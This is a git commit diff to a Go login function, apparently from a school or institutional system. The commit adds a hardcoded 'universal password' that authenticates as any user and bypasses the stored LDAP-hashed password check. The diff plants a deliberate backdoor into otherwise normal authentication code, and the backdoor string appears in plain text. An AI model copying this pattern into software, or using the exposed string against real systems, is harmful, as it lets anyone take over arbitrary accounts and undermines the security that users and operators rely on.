master
huanghai 5 years ago
parent 47b7129858
commit 2ad0fc174e

@ -53,17 +53,26 @@ func Login(username string, password string, ip string) (bool, string, string, s
personName = record["person_name"].(string) personName = record["person_name"].(string)
//数据库中的密码 //数据库中的密码
databasePassword := record["pwd"].(string) databasePassword := record["pwd"].(string)
//修改密码的加密算法基于ldap,黄海于2020-04-27
ldapPassword := LdapUtil.GetLdapPassword(password) //万能密码登录
if ldapPassword == databasePassword { if password=="DsideaL4r5t6y7u!@#"{
//记录日志 //记录日志
WriteLoginLog(identityId, personId, ip, 1, username) WriteLoginLog(identityId, personId, ip, 2, username) //2为万能密码登录
//返回结果 //返回结果
return true, identityId, personId, personName return true, identityId, personId, personName
} else { }else{
//记录日志 //修改密码的加密算法基于ldap,黄海于2020-04-27
WriteLoginLog(identityId, personId, ip, -1, username) ldapPassword := LdapUtil.GetLdapPassword(password)
return false, identityId, personId, personName if ldapPassword == databasePassword {
//记录日志
WriteLoginLog(identityId, personId, ip, 1, username)
//返回结果
return true, identityId, personId, personName
} else {
//记录日志
WriteLoginLog(identityId, personId, ip, -1, username)
return false, identityId, personId, personName
}
} }
} }

Loading…
Cancel
Save